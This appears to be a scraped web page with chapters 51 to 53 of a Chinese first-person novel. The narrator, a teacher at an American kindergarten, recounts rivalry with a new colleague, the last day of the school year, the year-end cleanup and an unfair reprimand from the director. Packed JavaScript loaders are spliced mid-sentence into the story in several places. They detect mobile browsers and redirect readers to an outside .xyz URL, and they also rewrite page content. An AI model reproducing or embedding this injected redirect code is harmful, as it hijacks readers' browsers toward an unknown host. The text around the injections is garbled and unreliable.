尅拉又似乎很懂地对汉娜说:“曼妮带她班上一个孩子去洗眼睛里的沙了,还没回来,她说是从备用教室搬到大班。” 汉娜道:“我听说是搬到小班。” “是大班,因为她今天说话的时候我在场,所以我知道。”尅拉很肯定地强调。 汉娜有些不耐烦:“不管怎么样我们现在都应该收拾了。” 这时我远远看见曼妮回来了,便提醒汉娜:“曼妮回来了。” 一旁的霍莉也几乎同时说:“曼妮回来了,我们待会儿可以问她。” 大家最终去的是小班,尅拉故计重施,坐着陪孩子吃完放学前的最后一顿零食就立刻离开脏桌子,跑到一个正在看书的孩子面前问要不要让她来读,被拒绝后又去问另一个孩子,这回她如愿以偿,从此便坐在那里一本接一本地读故事书,留下脏桌子和一堆乱糟糟的椅子碰也不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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我很快就明白了尅拉的狡猾之处,原来她对林奈和对我完全是两副面孔,对我仍然不理不睬连正眼也不瞧一下,对林奈却有说有笑亲热得不得了,吃完午饭更是仿佛长了触角一般精明地避开了写邮件的活,林奈于是顺理成章坐到电脑前,自然没有感受到任何来自尅拉的威胁——现在三个白人老师在教室里聊得热火朝天,我则完全被孤立,彻底成了落单默默干杂活的人。 午睡后玛丽安叫贝儿起床,林奈坐在桌边准备新学期孩子的名牌,我给孩子们准备好零食然后去叫佳佳起床,只有尅拉闲坐在林奈旁边什么也不干。这时沙文走进教室,表面上是来闲聊,实则是来视察工作,尅拉一见沙文立马敏捷地起身走到零食桌边坐下,搞得好像桌上的零食是她刚才准备的一样,我相信尅拉的小动作玛丽安和林奈都看在眼里,只是不知道她们心里会怎么想。 下午只剩我和尅拉,眼看去后院的时间快到了,尅拉突然开始大声指挥孩子们戴上帽子到门口排队,自己也背上装急救用品的背包作势往外走,我只得站起来摞椅子,她装模作样地跟着摞了两把椅子,突然做出一副很忙的样子跑到门口严厉地教训孩子们:“不可以在没有老师带领的情况下自己往外跑!”——其实孩子们都乖乖站在门口,根本没人往外跑,她只不过是自导自演找借口逃避干活罢了。 我摞完剩下的椅子跟过去,她急吼吼地拿起装水杯的篮子就要往外走,我不客气地提醒她:“水杯需要加水。”并拿起篮子里一个几乎空了的水杯给她看,告诉她,“我会把水加满。” 她连忙说:“对不起。” 我没接茬,拿过篮子给几个水杯加上水,心里忍不住感叹:这人真是时刻各种小动作,和她在一起工作实在太累了。 星期二玛丽安又让尅拉写邮件,尅拉嘴上说着“我无所谓”,身体却十分顺滑地坐到电脑前,林奈表面上还故作平静,可是我看得出她已经有些坐不住了,不时侧过头向尅拉那边瞄一眼,终于感受到了威胁。 吃完午饭尅拉又厚着脸皮跟在孩子后面跑掉了,留下一张脏饭桌等着我收拾,我装作没看见。 林奈坐到凯奇身边要求他再吃一块苹果,说是玛丽安之前说的,玛丽安刚好上完厕所从外面进来听见了,纠正道:“我没说过。” 林奈没好气的说:“他今天都没吃水果——凯奇,把苹果吃了!” 我几乎已经能够嗅到林奈和玛丽安之间的火药味。 林奈午休时玛丽安拿来一张订购教学用品的表格对我和尅拉说:“你们如果有什么需要的可以订,我对邦狄说其实我们只需要一些彩纸。” 我拿起那张表格看了一下,发现有不少可订的东西,但既然玛丽安都已经那么说了我还能说什么呢?只好保持沉默。 尅拉在一旁煞有介事地冲玛丽安连连点头:“我绝对同意和拥护你的决定。” 这时林奈突然从外面冲进来,手里也拿了一张同样的表格,神情激动地一把拍在玛丽安面前大声道:“我明明跟你说我们要订羽毛和马赛克,你却去跟邦狄说我们什么都不需要!” 玛丽安向她作了个“嘘”的动作,林奈这才意识到孩子们正在睡午觉,连忙压低了声音。 轮到我午休了,我不想掺和进她们的纠纷,于是匆匆拿起包离开教室。 对于玛丽安我其实是有些同情的,她在这所幼儿园已经工作整整三十年了,以她的经验和资历当班主任完全没有问题,然而根据沙文所谓“人人平等”的理念,至今玛丽安仍然只是一名普通教师,常年要和林奈这样入职才一年多的老师争权夺利,甚至经常被后者弄得狼狈不堪,心中的不平和苦闷可想而知。 但是她却没有勇气离开这个早已习惯了的地方,尤其是这里为教师提供的医疗保险、带薪年假和退休金计划都十分优厚,所以无论遭到什么样的羞辱和不平玛丽安都咬牙忍耐,在组会上总是如老僧入定一般能不出头就不出头,对孩子也是能少担责任就少担责任,背后又心甘情愿做正副园长的工具,让干什么就干什么,一切似乎都是为了熬到退休,拿到能安生立命的退休福利。 可是玛丽安空有小聪明却又不太聪明,所以才会不分青红皂白地拉拢满肚子欲望和诡计的是非小人来欺压我这个尊敬她、协助她、谦让她、善待她的人,试想如果我被排挤走了对她有什么好处呢?尅拉绝不是一个安分的人,斗走了我她难保不会拉着林奈接着斗玛丽安,到那时等待着玛丽安的又将会是什么样的局面呢?但是她似乎从来不懂得思考这些,只知道随波逐流,以至于一直让自己陷在是非里却得不到她这个年纪和资历应有的尊重。 51. 第十八章 学年最后一天 今天是大班孩子在幼儿园的最后一天,一进教室就看见许多家长送来的鲜花。玛丽安转交给我一个精致的小礼袋,里面有一张感谢卡、一块巧克力和一张二十五美元面值的购物卡,是莱昂的妈妈送的,每个老师都有一份;佳佳给了我一小盆花和一张感谢片;贝儿给我的感谢卡里夹了一张二十五美元的购物卡,卡片外面印着贝儿的照片,能看出杰奎琳花了很多心思准备。 上午幼儿园专门联系了一辆冰淇淋车开到门口,全校的孩子像过节一样欢天喜地的聚集在教堂前的草地上,然后一个接着一个排队到冰淇淋车的窗口前,每个人包括老师都可以选一种任何形状和口味的冰淇淋或雪糕,雪糕有小鸭子、忍者神龟、蜘蛛人、彩虹色的雪球等各种可爱炫酷的样式。大部分老师选择了甜筒、巧克力之类的传统冰淇淋,我则学着莱昂的样子要了一种叫做“酸屁孩”的雪糕,外面一圈粉红色酸酸的,中间是西瓜瓤的颜色,镶着粉红色的眼睛和嘴巴,吃完嘴唇和舌头都染成了鲜红色。 大约因为今天是班上孩子在幼儿园的最后一天,整个空气里弥漫着一种不一样的气氛,从中午家长陆续来接孩子开始,到处是老师和孩子的拥抱、家长对老师的感谢、甚至家长和老师的拥抱。芬妮的妈妈平时看上去一副不苟言笑有些高傲的模样,今天不仅出乎意料地主动和每一位老师拥抱,而且还抱得很紧,满是依依惜别之情。 不过尅拉并没有因为这充满爱的气氛变得善良,还是一如既往地偷奸耍滑,三个老师之间也还是表面上喜笑颜开暗地里相互较劲,顺便忽略和孤立被边缘化的我,可是戏剧性的一幕突然发生了,阿登说“彦岚,我有礼物给你”,然后从他的小书包里拿出一个精致的蓝色小盒子和一张感谢卡交给我。 我谢过阿登,打算把礼物放进包里,眼尖的林奈看见了,问我:“盒子里面是什么?” “好像是首饰之类的。”我一面回答一面无可无不可地打开给她看,里面是一条精致的紫色四叶草水晶项链。 林奈抬起手看了看自己手上戴的一枚绿色四叶草戒指,玛丽安的手上也戴着同样的一枚,不过一看就是廉价的玻璃制品。 玛丽安酸溜溜地问了尅拉一句:“你的是戒指还是项链?” 尅拉拿出一个白色的小纸盒打开,然后说:“是戒指。” 接下来大家都不说话了。 我是教室里每天最晚一个上班的老师,对早上发生的许多事都不知情,甚至看到林奈和玛丽安手上的戒指仍未反应过来那是阿登的妈妈早上来学校时送给她们的,经林奈这么一挑破,才明白自己收到的礼物原来是独一无二的一份,比其他三个老师的都要贵重——这仿佛是一个有趣的隐喻,尽管平日里另外几个老师明争暗斗对我百般排挤和贬低,把所有的脏活累活都推给我,我似乎是教室里最卑微的一个老师,可最后得到的却是最特殊、最闪亮的那枚奖章,看来平日的默默付出总会有人看见。 虽然很开心,我却不敢表现出来,连忙不动声色地继续默默干活,心想“木秀于林,风必摧之”,现在这几个老师只怕会更加嫉恨我了。 这两天其他班级的老师对我倒是格外和善,见了面纷纷微笑打招呼,不似前段时间经常不理不睬或存着戒心,不知道是不是因为她们对比一来幼儿园就张牙舞爪的尅拉之后,觉得我其实还不错。 邦狄过来对我说:“我请大家明天到我家去坐坐,你要不要去?” 我连忙说:“我当然很愿意去。” 尅拉也受到了邀请,她问玛丽安和林奈怎么去邦狄家,玛丽安没接茬,林奈直说:“我不去。” 尅拉立刻见风使舵地表示:“我可能只是去停留一下,如果太远不值得就不去了。” 下午和尅拉单独在院子里看着剩下的孩子,尅拉又坐在沙池中央大挖特挖,一面千方百计把跑掉的孩子叫回她身边陪她一起挖。 杰奎琳来接贝尔时尅拉居然主动从沙池里站起来,一面跟着贝儿往外走一面向贝儿下达指令:“给彦岚一个拥抱。”那架势仿佛她是我和贝儿的主管似的。 我说:“我会陪贝儿过去。” 我和贝儿、尅拉一起走到杰奎琳面前和她聊了几句,感谢她的卡片,祝她们一切顺利,又与贝儿拥抱告别。 第二个来接孩子的是阿登的妈妈,我走过去直接用中文和她交流:“谢谢你送给我的项链,很漂亮!” 她十分恳切地对我说:“我很感谢你对阿登这么好,不像其他老师根本不负责任,可惜就是教阿登的时间太短了,所以想送你一些特别的东西,给你的感谢卡里还夹了一张购物卡。” 我再次表示感谢,说:“和阿登相处 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16437815|184973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 虽然短暂,但遇到就是缘分。” 尅拉这时也凑过来热情洋溢地向阿登妈妈做自我介绍,把话头抢了过去,阿登妈妈立刻满脸笑容地对她说:“阿登很喜欢你,还一定要在给你的感谢卡上写上‘我爱你’呢!” 之后是艾伦的妈妈,她平时因为接孩子总是迟到很不受其他几个老师的待见,偷偷摸摸地不敢和老师们打照面,但我理解上班父母的不易,一直对她很和气。这次尅拉没有凑上来,我和艾伦妈妈聊了几句,说“艾伦是个很好的孩子”,并和她拥抱了一下。 班级合并后尅拉坐到一张零食桌旁,等桌上还剩一个孩子时就丢下脏桌子跑到地毯上陪别的孩子玩去了。佳佳拿来一本故事书让我读给她听,达文立刻凑过来,曼妮也坐到另一张桌子旁给另外几个孩子读书,谁都不去收拾桌椅,最后还是汉娜主动摞起了椅子——我还是挺佩服汉娜的,整天对谁都笑呵呵,做别人不愿意做的事也不计较,这不是每个人都能做到的,难怪她能当负责人。 达文的妈妈来接达文了,我和她寒暄了几句,忍不住两次蹲下身拥抱达文,他也紧紧回抱我——这个孩子虽然很多时候内向沉默不太合群,有时还会暗暗地淘气,可是却那么爱听故事,也很讲道理,对他人给予的爱有感受、懂回应,要分别了,我还是挺舍不得的。 和尅拉一起带着剩下的佳佳回教室拿东西,尅拉问我可不可以去教室后面小房间的冰箱里拿一下丹尼尔妈妈送的饼干,我取了饼干回到教室,看见她正拿着一束玫瑰在擦水,再看装花的水桶里只剩下几只散的康乃馨,玫瑰已经被拿光了,这才明白尅拉刚才让我去取饼干原来是支开我好将最后一束玫瑰据为己有,却没想到我会回来得这么快。 我没吱声,也没去拿剩下的康乃馨,可是瞥向水桶的动作已经被精明的尅拉尽收眼底,她连忙将手里的玫瑰递过来:“这是贝儿妈妈给你的,我只是帮你把水擦干而已。”——她何时有过这样的好心?这见风使舵的本事也未免太高了吧! 我问:“你确定?” “是的。” “好吧,谢谢。”我老实不客气地接过玫瑰,她既然愿意给,我才不会谦让呢。 回到家,将收到的所有鲜花、礼物、卡片摆在一起拍照留念,心里感到很温暖,觉得这几个月的辛勤付出终于得到了一点回报。 52. 第十九章 暗潮涌动的年终大扫除 孩子离校后,幼儿园开始了为期三天的年终大扫除,我比平时提前两个小时到教室,然后一直不停地忙,只在吃午饭时休息了四十五分钟,腰都快累断了,感觉这可比平时带孩子辛苦多了。 相较于身体的劳累,更难受的是心累,一进教室就看见三个老师有说有笑,你一言我一语亲热得简直比亲姐妹还要亲,却集体对我不理不睬,我只得埋头做事,有机会还要努力插上一两句话,以免让她们觉得我是在“自绝于群众”,平常教室里有天真可爱的孩子做缓冲还没觉得这么难受,可现在只有几个老师全天候面对面,那种尴尬连躲都躲不掉。 不过尅拉虽然脸上笑得稀巴烂,却不时暗戳戳搞小动作拆玛丽安的台,只见她笑着问玛丽安:“你介不介意我完成小火车的拼装?”小火车原本是玛丽安做了一半的,可是既然尅拉提出来了玛丽安也不好说介意,尅拉就好整以暇地坐在椅子上做了半天手工活。 做完她又提议把儿童厨房挪到玛丽安原本打算放水桌的地方,玛丽安反问:“那水桌放哪里?” 尅拉满脸堆笑地说:“水桌放在原来厨房的地方,只是试一下,如果不合适可以再换回来。”然后说干就干地把厨房挪了过去,又把所有厨具也一并塞到厨房里。 既成事实,当然不会有人再去挪动,恰逢沙文进来视察工作,不明就里地称赞了一番教室里的变化为尅拉背了书,林奈趁机表示支持,玛丽安更不好再说什么了。 我当时以为尅拉只是乱拳打死老师傅,若干年后回想这一幕,调换厨房和水桌的位置并没有明显的必要,出于对玛丽安意见的尊重也从来没人会提出这么做,新来的尅拉却策略性地坚持要达到目的,这何尝不是一种隐蔽的试探底线和争夺决定权的手法?看来这个尅拉虽然年纪轻轻却天生是个操纵人心和玩弄权术的高手,沙文特别欣赏偏爱她说不定正是因为在尅拉身上看到了自己的影子。 随着时间的推移教室里的形势渐渐发生变化,玛丽安也被孤立出去,埋头自己干活,林奈和尅拉的对话亦不再像早上那么密,只是尅拉的能量实在太大,一直表现得十分活跃。 玛丽安下班后尅拉和林奈继续亲热地聊着天,林奈抱怨玛丽安不让她动图书,然后两个人商量要给所有的书编一个目录,林奈大声说:“我们应该发出自己的声音让别人听见!”那架势仿佛她和尅拉已经形成了牢不可破、勇敢抗争的同盟。 我心道:“林奈你可长点心吧,别看现在你和尅拉互相利用如胶似漆,利益的结盟说散就散,等哪天尅拉彻底斗倒玛丽安和我,你就会是她的下一个目标。” 有人的地方就有江湖,有是非之人的地方四个人也能唱《三国》,现在教室里的形势就像一出大戏,原以为玛丽安会扶植尅拉对抗林奈,没想到尅拉却转脸和林奈结成了同盟,玛丽安反倒成了少数派,而我深知一入是非便将永无宁日,只想独善其身平平静静过自己的日子。 下班后和霍莉一起搭曼妮的车去邦狄家,在车上聊天时曼妮提到自己来这里已经三年了,汉娜也是三年,比她早一天,所以排假期、获得停车位都比她优先,言辞之间似颇有不满,看来走廊的另一头也并非风平浪静。 邦狄家住得很偏僻,后院里养了两条大狼狗,她在后院一张大圆桌上准备了许多食物,除了沙文、办公室秘书、玛莎和我们班的三个老师,幼儿园的其他老师都来了,大家围桌而坐,一副唯邦狄马首是瞻的模样。 我莫名地感受到一种压力,仿佛这是一个以邦狄为首盘踞在幼儿园多年的帮派,幼儿园是她们的安身立命之所,如果加入这个帮派就能分一杯羹并得到邦狄的庇护,在幼儿园获得生存的空间,而邦狄现在向我这个新人伸出了橄榄枝。 我并不喜欢这种氛围,尽管沙文是一个糟糕的管理者,尽管我现在处境十分艰难急需帮助,尽管不识相可能会得罪邦狄,但我仍不想臣服和依附于任何个人或团体以换取些许好处,因为我认为一个机构、公司、组织应该遵循法治而非人治,每个人都应该是依循公平清晰的制度规则的平等的个体。 坐了一会儿,老公打电话问什么时候开车来接我,我便提前离开了。 大扫除的第二天,为了尽量减少被孤立的难受,我仍然按照平常的错峰上班时间到教室,并学着昨天尅拉的样子找了一个手工活埋头做了一上午,但是今天尅拉却自告奋勇地擦了窗户并清理了乱糟糟的壁橱,倒显得磨洋工的人是我。本以为其他老师下班后我一个人可以清静一会儿,沙文和邦狄却不时轮番找借口过来查看或聊上两句,我这才明白自己在这里其实一直被不信任地监视着。 下班时霍莉和我一起下楼,很自然地问我:“你介不介意我坐你的车回家?” 我立刻说:“当然不介意。” 霍莉住得离我不远,自从知道我俩是同路我就经常主动让她搭顺风车,和她的关系从那时开始好转了许多,回去的路上我们会聊各种话题,不久前她还告诉我她要和当图书管理员的男友结婚了,婚礼就在她家后院举行,我当即向她表示祝贺,并以过来人的经验给了她许多建议。 她问我:“你们教室现在怎么样,多了一个老师是不是轻松很多?” 我自以为和霍莉的关系已经很近了,可以跟她说说心里话,于是老实回答:“多一个老师便会有更多的争斗。” 她安慰道:“别担心,尅拉人很好。” 霍莉对尅拉的评价让我感到很意外,不知道她只是在说客套话还是认真的,也让我突然开始对自己产生怀疑:难道尅拉真的是个好人?这两个星期以来她给我造成的种种不适都只是我的幻想?她所做的一切其实完全符合美国人的惯常思维,所以玛丽安和林奈才接受她比接受我要更容易?——如果尅拉没有问题的话,那么有问题的就是我了,是我捕风捉影、小肚鸡肠、与周围的人格格不入? 我又对霍莉说:“大班一直有很多争斗,从未停止过。” “抱歉,你说什么?” 她有些意外地问,仿佛不太置信自己听到的话。 我想我的话应该是令她感到不安了,大约在美国这种话题在没那么熟的人之间太过敏感,可是说出口的话已经无法收回,我只得重复了一遍,并解释:“老师多不同的观点就多,难免产生冲突,而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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第二天午休时曼妮和霍莉坐在外面台阶上聊天,我经过朝她俩招招手,曼妮也向我招手微笑,霍莉却戴着墨镜头也不抬;下午在院子里我和霍莉再次面对面,我仍向她微笑打招呼,她又故意低头看自己面前的孩子;下班时我和晚班的几位老师道别,看向霍莉时她干脆冷着一张脸直接将目光移开了——看来我开车载了她那么多次远远抵不上一次没载她的过错,这让我重新记起自从来幼儿园之后,这已经是她几度对我施以白眼和冷暴力了。 霍莉的外表很具有迷惑性,让我一直以为她是个好人,但回头想想,她在回家路上对我的那些附和、捧场和找的各种话题都只是为了换取免费搭乘我的顺风车而已,其实她对我的事情并不真正关心,也从来都不是我的朋友,可笑我之前还那么看重她的态度和评论,甚至差一点被她貌似客观的一句话摧毁了意志力。 对于霍莉的重新认识让一切都符合逻辑起来,看来我对尅拉的观感并没有错,也无需再怀疑和责备自己。 至于霍莉,于公她不过是早我两个月来幼儿园的年轻老师,对我的工作、评定和未来不会有任何影响;于私我对她一直只有友善和帮助,她不屑与我为伍损失的只能是她自己;于个人我年长她许多,人生阅历也远比她丰富,又何必看她的眼色在乎她的想法呢? 53. 第二十章 莫须有的罪名 新学年的第一天,打扫干净的教室一下子被十八个从中班升上来的孩子填得满满的,成人之间的微妙关系退居其次,虽然很忙碌,我却感到了久违的轻松。 尅拉抢走了林奈给家长写邮件的活,又抢走玛丽安监督孩子饭前洗手的差事,还向玛丽安提出把玛丽安已经安排好的两个孩子睡觉的位置对调,玛丽安只得说:“如果你想的话,我无所谓。” 玛丽安和林奈对我的态度比大扫除那几天缓和了一些,尅拉却挖空心思处处压制我,中午吃饭时她大剌剌地坐到我平时坐的位子上,把我挤到了新加的小桌子上,我没说什么,搬把椅子在小桌旁坐下,和同桌的几个孩子有说有笑地吃完了午餐。 玛丽安和林奈午休时只有我和尅拉在教室里,我告诉她要去一下厕所,她居然严厉地对我说:“你不能去,如果你要上厕所需要打电话到办公室叫人下来帮忙看着!” 她说得倒也没错,现在教室里有十几个孩子,按照规定需要两名老师同时看着,但如果只是离开几分钟去厕所,老师之间通常会互相通融一下。 我很不喜欢她处处一副“我比你懂”的领导架势,于是说:“没关系,我可以等玛丽安回来。” 过了一会儿孩子们陆续起床,先起来的孩子安静地坐在地毯上看故事书,爱玛问我:“彦岚,我可不可以拿一样玩具玩?” 我回答:“通常这个时候我们都会看故事书,你可以拿一本书看。” 尅拉突然插进来:“爱玛,你可以选一种玩具,但是地毯上最多一共只能有两种玩具。” 我不知道她的这套规则是从哪儿来的,新学年班上突然莫名其妙多了许多新规定,或许是早上我不在的时候其他两个老师订立的也未可知,所以我没有反驳,但是尅拉在孩子面前下达完全不同的指令抢白我既是对我的不尊重,也为将来对孩子的引导埋下隐患,这令我很不高兴,只不过脸上没有表现出来。 玛丽安和林奈下班后尅拉又一直把持着签到簿,一有家长来接孩子她就抢先截住向家长介绍孩子今天在学校的情况,不过她想假装自己是主管的小伎俩一点用也没有,因为许多家长在过去几个月早已对我十分熟悉,我也不理会尅拉的小动作,等她说完照样走到家长面前打招呼。 新学年班上突然冒出来许多新规矩,玛丽安用胶带纸在地毯上划分出一个个一米见方的小方格,像下棋一样把每两个孩子分配在一个方格里,并且每个方格里只能玩一种玩具,我看着小孩子像囚犯一样被拘在一个个小方格里,不禁替他们感到窒息,无奈却对此毫无话语权;在院子里玛丽安又规定我们班的孩子只能绕着滑梯往一个方向跑,我想她是害怕孩子往不同方向跑时撞到一起,却不认为这是解决问题的好办法,林奈也对此不以为然,向我抱怨“孩子又不是马戏团里的动物”;孩子们喜欢的滑梯和综合攀爬设施大部分时间也在邦狄的指示下被关闭了,只有两个老师同时站在旁边看守的时候才可以短暂开放。 小孩子天性活泼喜欢跑跑跳跳,磕磕碰碰在所难免,为了迎接新学年,院子的地面加铺了一层碎木块,本意是为了在孩子摔倒时提供缓冲减少伤害,可是新的碎木块上满是棱角和毛刺,又正值天热孩子们都穿着短袖短裤或裙子,每天都有孩子因为摔倒在新木块上擦伤皮肤,原本为了保护孩子采取的措施反而成了急剧增加受伤率的元凶,我曾忍不住向其他老师指出新木块的弊端,老师们也心知肚明,但没人挑破这一点去惹不必要的麻烦,只是用限制孩子奔跑来解决问题。 我却觉得无论家长、教师还是教育机构都应该为孩子营造一个尽可能安全的环境,给孩子足够的尊重、理解、空间、自由度以及他们需要的引导和支持,而不应过度介入和一味约束,这样孩子才能够身心健康地蓬勃生长,可是我人微言轻,在这里是没有资格提出不同观点的,甚至言行稍有不慎就可能会冒犯到她们的玻璃心,被看作对她们的否定和攻击。 当某个孩子摔倒时,为了表示并非自己不负责任,这里的老师会十分夸张地隔着老远冲孩子大喊:“你没事吧?”于是形成了一种十分滑稽的现象,即一个孩子摔倒了,立刻会有一群老师从院子的四面八方冲孩子一齐大喊:“你没事吧?”通常孩子会站起来摇摇头说“没事”,那些老师就仿佛尽到责任一般又心安理得地坐回去。 我却对这种做法有些不以为然,觉得只是流于形式做给别人看,而并非真正关心孩子的安危,所以从来不愿跟着其他老师一起喊,而是默默走到孩子跟前检查他/她是否受伤,如果没有就悄悄走开,如果有就安抚孩子并带他/她去处理伤口。 某天在院子里看孩子,突然听见身后邦狄制止我们班几个孩子在沙池里奔跑的声音——为了避免沙扬进孩子的眼睛里,在沙池里奔跑跳跃也是被禁止的。 我回头时只看见孩子们有些小跑的动作,又想既然邦狄已经制止过了,就没再说什么,这时抬眼遇上邦狄的眼神有些冰冷,我略觉不安地移开目光,也未做什么表示——这里我犯了两个错误,第一我应该夸张地跟在邦狄后面做样子大声制止孩子,第二我应该笑着向邦狄表示道谢或道歉,这样或许就不会有后面的麻烦了。 孩子睡午觉时玛丽安特意过来找我谈话,提到沙池的事,又批评我看孩子排队上厕所时不管他们的纪律——其实孩子上厕所时我一直在管他们的纪律,只是声音没有其他老师大,动作也没有其他老师那么夸张而已,但是既然玛丽安认定了我没管,我再说什么也没用,为了避免更多的麻烦只得谢谢她的提醒。 显然玛丽安找我谈话是邦狄的授意,我觉得邦狄未免小题大做,却也没太在意,之后就刻意加强了对孩子的纪律管理。 第二天几个孩子在玩具屋里玩耍,玩到兴奋时互相抱在一起揉成一团,我在旁边仔细观察,发现他们的脸上满是笑容,想起上幼教课时曾学过一个专有名词“打闹游戏(Rough and Tumble Play)”,这种打闹并非真正的打斗反而有诸多好处,孩子能从中释放压力、学习控制力度、练习合作和社交技巧以及拉近彼此的距离,于是便未加干涉,只是站在旁边时刻关注以防他们做出进一步危险的动作。这时候林奈突然隔着院子冲这边大吼,喝令孩子立刻停止打闹从玩具屋里出来,几个孩子失望地停下来,我也不好说什么。 没想到下午又被沙文叫到办公室谈话,旁边还坐着邦狄。 沙文先提到最近我们班孩子的受伤率很高,然后邦狄开始严厉地批评我:“昨天你们班孩子在沙池里跑你却根本不管,今天上午一群孩子在玩具屋里互相推搡你也不管!” 沙文跟着质问我:“你在教室里总是不能和其他老师打成一片,是不是在这里待得不高兴?” 我张大了嘴,简直不敢相信这些莫名其妙、无中生有的指责,难道她们想把孩子受伤率上升的责任扣到一直格外小心的我头上来不成?而且我和她们只是雇佣关系,她们有什么权力像审问犯人一样如此粗鲁地对待我呢? 我解释道:“昨天沙池里的事我没看见,我在看着其他孩子,当时院子里只有我和尅拉,玛丽安和林奈在教室里——” 话还没说完就被邦狄粗暴地打断:“你当时就站在那里,不可能没看见!” 沙文则更狡诈:“如果你没看见,那问题就更严重了,说明你没有能力监管孩子,作为老师就必须能看见所有的孩子。” 这下无论我看没看见都是错了,可沙文的说法显然站不住脚,如果每个老师都必须能看见所有的孩子,一个班还要那么多老师干什么? 我才不管问题是不是更严重,没看见就是没看见,坚持道:“我当时在看着别的孩子。” 邦狄却斩钉截铁:“你就是看见了!” 沙文见僵持不下,又狡猾地转移了方向:“我们先不说这个,玩具屋的事是其他班的老师看见了来告诉我,然后我打电话向林奈核实的,当时几个孩子互相推搡和伤害,做出不恰当的举动,你却根本不管,还要林奈隔着院子大声来管。” “这是大家看问题的方式不同,我不认为孩子的举止不恰当,他们只是在玩而已。”我一边解释一边在脑子里搜索着“打闹游戏”这个词的英文,可惜却一时想不起来。 沙文却继续指责我对孩子的监管能力出了问题,又逼迫我选择:“你到底是没有能力管孩子还是不同意我们的做法?” 我当然不能直说不认同她们的做法,只得回答:“我不是没有能力,也不是不同意你们的做法,只是我认为孩子们在玩,并没有互相伤害,如果他们互相伤害我肯定会制止。” 邦狄又插进来:“可是别的老师看见你没有制止!” 我对她说:“邦狄,你还记不记得,上学年赖恩在玩具屋里打另一个孩子,我看见了立刻阻止,如果看见孩子互相伤害我一定会制止的。” 我这是想提醒邦狄,我连她班上的孩子做出危险行为都会留心和帮忙,何况自己班的孩子。 沙文不耐烦地打断我:“我在和你说这件事,你不要扯到别的事上。” 我说:“这是一码事。” 沙文再次转移话题,指责道:“你对学校根本没有主人公意识,和其他老师完全相处不好!” 我知道她指的是大扫除的时候,有些激动地提高了声音:“我被孤立了!大扫除的三天她们不跟我说话,甚至连看都不看我,我试图对每一个人微笑,除了这个我还能做什么呢?” 沙文说:“你在大扫除的时候一整天只做一个项目,而且大家当时都很忙,根本没时间说话。” 我听到她这话立刻意识到班上其他三个老师又恶人先告状,不知道添油加醋在背后讲了我多少坏话,而且沙文说的也不是事实,于是毫不客气地指出:“但是她们互相在说话!” 邦狄再次插进来:“你为什么不制止孩子在沙池里奔跑?” 我仍然坚持:“我当时在看着别的孩子,如果看见了一定会立刻制止,以前也一直是这么做的。” 沙文道:“彦岚,你很聪明,我问你问题你不直接回答,却扯出许多其他的事情来,我们再说回来,不仅在沙池里,在院子里你为什么也放任孩子乱跑?你们大班关于在院子里跑的规矩是什么你不知道吗?” 我一点也不觉得沙文这时候说我聪明是在称赞我,反而觉得她的言下之意是我在狡猾地东拉西扯模糊焦点,其实我一直在就事论事,只是论点需要论据支持才会牵扯出其他事情,而东拉西扯的人是她才对,但是和不讲道理的人又怎么讲道理呢? 我说:“对于这些规矩我一直很困惑,因为不同的老师有不同的规矩。” 她问:“什么不同的规矩?” “玛丽安在院子里让孩子按照同一个方向跑,林奈却似乎不太赞同,而且自从新老师来之后,班上又突然出现了很多新的规矩。” “什么新规矩?” “比如现在每天下午都在我们自己班吃零食,即使人数很少的时候,昨天下午我们班只剩七个孩子,我对尅拉说可以去中一班,那边的老师需要我们帮忙,但是她拒绝听我的。” 沙文听到我这些话的反应不是质疑尅拉,反而质问我:“你为什么没法让她听你的?如果有问题上次员工会议的时候你为什么不说?其他人有问题都会来找我,你却一直保持沉默,上次我和你谈话你却说一切都没问题!” “当时确实是没问题,是从新老师来之后才出现了很多问题。” “你现在又说当时没问题,那么现在有问题你为什么什么都不说?”沙文气势汹汹地问。 “因为我在等,想看看情况会不会好转,我不确定是不是文化差异,这个星期开始情况就好了很多。” “我需要和你们班开一次会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16437817|184973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。”沙文道,突然放缓了语气,“彦岚,你是个很聪明和值得赞赏的人,你如果保持沉默没人帮得了你,我在这里也没办法帮你,你如果需要帮助必须要说出来。” 我有些惊讶和疑惑地望着沙文,几乎不敢相信她对我前后态度的急剧转变,她似乎总是在鼓励每一个员工来单独向她反映问题,我却对此不太愿意响应,一是因为以前曾经向她反映过问题,但是效果并不好,问题不仅没有得到解决,反而愈演愈烈形成更大的问题;二是因为我认为管理者的这种方式只会令职场的告密文化盛行,最后形成人人自危和互相背后攻击的不良氛围,我不想参与其中。 但是所有人这时候都需要一个台阶下,于是我叹了口气,做出一副屈服的样子小声道:“是的,我需要帮助。” 